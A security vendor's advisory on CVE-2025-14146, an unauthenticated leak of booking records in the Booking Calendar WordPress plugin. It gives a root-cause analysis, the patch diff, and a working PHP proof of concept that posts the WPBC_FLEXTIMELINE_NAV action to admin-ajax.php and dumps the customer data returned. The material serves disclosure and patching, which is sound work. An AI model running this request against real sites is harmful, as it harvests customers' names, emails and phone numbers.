Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14146: Booking Calendar <= 10.14.10 – Unauthenticated Sensitive Information Exposure (booking)

Plugin booking
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 10.14.10
Patched Version 10.14.11
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14146:
This vulnerability is an unauthenticated sensitive information exposure in the Booking Calendar WordPress plugin. The flaw resides in the timeline view component and allows attackers to extract detailed booking records. The CVSS score of 5.3 reflects a moderate severity impact on confidentiality.

Atomic Edge research identifies the root cause as an insufficient authorization check in the `WPBC_FLEXTIMELINE_NAV` AJAX action handler. The file `booking/core/timeline/v2/wpbc-class-timeline_v2.php` contains the vulnerable logic. At lines 3333-3348, the code conditionally enables a popover feature showing booking details based on the `booking_is_show_popover_in_timeline_front_end` option. The default `booking_is_nonce_at_front_end` setting is ‘Off’, which disables nonce verification for front-end AJAX requests. The original patch in version 10.14.10.1 added a check for `get_current_user_id()`, but this check was placed inside an `else` block that only executed if the `booking_is_show_popover_in_timeline_front_end` option was ‘On’. This created a logic flaw where unauthenticated users could still trigger the data exposure if the option was enabled.

Exploitation requires an attacker to send a crafted POST request to the WordPress `/wp-admin/admin-ajax.php` endpoint. The request must set the `action` parameter to `WPBC_FLEXTIMELINE_NAV`. No authentication or nonce is required due to the default plugin configuration. The attacker can include parameters like `view_days_num` and `scroll_start_date` to navigate the timeline and retrieve booking data. The server response will contain sensitive customer information, including names, email addresses, phone numbers, and booking details, in JSON format.

The patch in version 10.14.11.1 introduces a new global constant, `WPBC_DISABLE_POPOVER_IN_TIMELINE`, defined as `true` in `booking/wpdev-booking.php` at line 86. The logic in `wpbc-class-timeline_v2.php` is restructured. A new conditional at line 3335 checks this constant first. If it is true, the `$is_show_popover_in_timeline` variable is immediately set to `false`, bypassing all subsequent option checks. This change completely disables the popover feature on the front-end timeline, eliminating the data exposure vector regardless of plugin settings or user authentication state.

Successful exploitation leads to the exposure of all booking data accessible via the front-end timeline view. Attackers can harvest personally identifiable information (PII) such as customer names, email addresses, and phone numbers. They can also obtain booking details, which may include dates, times, services booked, and custom form field submissions. This data breach violates user privacy and could facilitate phishing campaigns, spam, or further targeted attacks.

Differential between vulnerable and patched code

Code Diff
--- a/booking/core/timeline/v2/wpbc-class-timeline_v2.php
+++ b/booking/core/timeline/v2/wpbc-class-timeline_v2.php
@@ -3330,21 +3330,27 @@

 	// For client Timeline.
 	if ( $is_frontend ) {
-		$is_show_popover_in_timeline = ( get_bk_option( 'booking_is_show_popover_in_timeline_front_end' ) == 'On' ) ? true : false;
-		if ( ! class_exists( 'wpdev_bk_personal' ) ) {
-			$is_show_popover_in_timeline = false;    // FixIn: 10.14.9.2.
-		}
-		// FixIn: 10.14.10.1.
-		if ( 0 === get_current_user_id() ) {
-			// User  is not logged in.
+
+		// FixIn: 10.14.11.1.
+		if ( WPBC_DISABLE_POPOVER_IN_TIMELINE ) {
 			$is_show_popover_in_timeline = false;
 		} else {
-			// 'subscriber' > 'contributor' > 'author' > 'editor' > 'administrator'.
-			$minimum_user_role = get_bk_option( 'booking_min_user_role_for_popover_in_timeline' );
-			$minimum_user_role = ( ! empty( $minimum_user_role ) ) ? $minimum_user_role : 'administrator';
-			if ( ! wpbc_is_current_user_have_this_role( $minimum_user_role ) ) {
-				// User  has lower role, than  checked.
+			$is_show_popover_in_timeline = ( get_bk_option( 'booking_is_show_popover_in_timeline_front_end' ) == 'On' ) ? true : false;
+			if ( ! class_exists( 'wpdev_bk_personal' ) ) {
+				$is_show_popover_in_timeline = false;    // FixIn: 10.14.9.2.
+			}
+			// FixIn: 10.14.10.1.
+			if ( 0 === get_current_user_id() ) {
+				// User  is not logged in.
 				$is_show_popover_in_timeline = false;
+			} else {
+				// 'subscriber' > 'contributor' > 'author' > 'editor' > 'administrator'.
+				$minimum_user_role = get_bk_option( 'booking_min_user_role_for_popover_in_timeline' );
+				$minimum_user_role = ( ! empty( $minimum_user_role ) ) ? $minimum_user_role : 'administrator';
+				if ( ! wpbc_is_current_user_have_this_role( $minimum_user_role ) ) {
+					// User  has lower role, than  checked.
+					$is_show_popover_in_timeline = false;
+				}
 			}
 		}
 	}
--- a/booking/wpdev-booking.php
+++ b/booking/wpdev-booking.php
@@ -7,7 +7,7 @@
 Author URI: https://wpbookingcalendar.com/
 Text Domain: booking
 Domain Path: /languages/
-Version: 10.14.10
+Version: 10.14.11
 License: GPLv2 or later
 */

@@ -34,7 +34,7 @@


 if ( ! defined( 'WP_BK_VERSION_NUM' ) ) {
-	define( 'WP_BK_VERSION_NUM', '10.14.10' );
+	define( 'WP_BK_VERSION_NUM', '10.14.11' );
 }
 if ( ! defined( 'WP_BK_MINOR_UPDATE' ) ) {
 	define( 'WP_BK_MINOR_UPDATE',  true );
@@ -83,6 +83,11 @@
 	define( 'WPBC_IS_PLAYGROUND', ( isset( $_SERVER['SERVER_SOFTWARE'] ) && ( 'PHP.wasm' === $_SERVER['SERVER_SOFTWARE'] ) ) );
 }

+// Intentionally completely disable showing booking deatils in Timeline view on Front-End side.							// FixIn: 10.14.11.1.
+if ( ! defined( 'WPBC_DISABLE_POPOVER_IN_TIMELINE' ) ) {
+	define( 'WPBC_DISABLE_POPOVER_IN_TIMELINE', true );
+}
+
 // ---------------------------------------------------------------------------------------------------------------------
 // ==  DEBUG  CONSTANTS  ==
 // ---------------------------------------------------------------------------------------------------------------------

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14146 - Booking Calendar <= 10.14.10 - Unauthenticated Sensitive Information Exposure
<?php

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';

// The vulnerable AJAX action
$post_data = array(
    'action' => 'WPBC_FLEXTIMELINE_NAV',
    // Additional parameters to navigate the timeline. Adjust as needed.
    'view_days_num' => '30',
    'scroll_start_date' => date('Y-m-d'),
    'wh_booking_type' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); // For testing only

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && !empty($response)) {
    $json_response = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE) {
        echo "[+] Request successful.n";
        echo "[+] Response contains booking data.n";
        // Print a sample of the data structure
        print_r($json_response);
    } else {
        echo "[+] Received non-JSON response (may indicate error or patched site).n";
        echo "Response: " . htmlspecialchars($response) . "n";
    }
} else {
    echo "[-] Request failed with HTTP code: $http_coden";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School